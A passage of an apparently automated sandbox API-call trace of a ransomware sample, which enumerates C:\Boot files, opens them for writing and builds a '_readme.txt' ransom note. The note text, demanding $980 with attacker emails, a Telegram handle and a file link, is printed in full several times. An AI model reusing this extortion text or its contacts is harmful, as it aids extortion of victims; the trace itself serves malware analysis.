ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.621] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned=".mui" [0116.621] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.621] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960f00 | out: hHeap=0xd10000) returned 1 [0116.621] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.621] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.621] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.621] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.621] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.621] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.622] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.622] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.622] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.622] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.622] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.622] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.622] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.622] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.622] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.622] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.622] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.622] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.622] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.622] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.622] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.622] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.622] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.622] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.622] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.622] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.622] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.622] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.622] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.622] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.622] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.622] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.622] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.622] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.622] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.622] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.622] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.623] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.623] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.623] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0116.623] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.623] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.623] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.623] PathFindFileNameW (pszPath="") returned="" [0116.623] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.623] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.623] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.623] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.623] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.623] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.623] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.623] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.623] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0116.623] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.623] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 0 [0116.624] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f9f20 [0116.624] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.624] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.624] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.624] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_readme.txt" (normalized: "c:\\boot\\el-gr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.624] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.624] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.624] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.624] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.624] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.624] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned=".mui" [0116.624] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.624] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.624] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.624] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.625] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.625] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.625] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.625] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.625] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.625] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.625] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.625] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.625] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.625] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.625] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.625] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.625] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.625] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.625] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.625] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.625] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.625] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.625] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.625] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.625] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.625] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.625] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.625] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.625] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.625] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.625] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.625] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.625] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.625] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.626] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.626] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.626] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.626] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.626] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.626] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.626] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.626] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.626] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.626] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.626] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.626] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.626] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.626] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.626] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.626] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.627] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.627] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.627] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.627] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.627] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.627] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.627] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.627] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.627] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.627] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.627] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.627] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.627] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.627] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.627] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.628] HeapFree (in: hHeap=0xd10000, 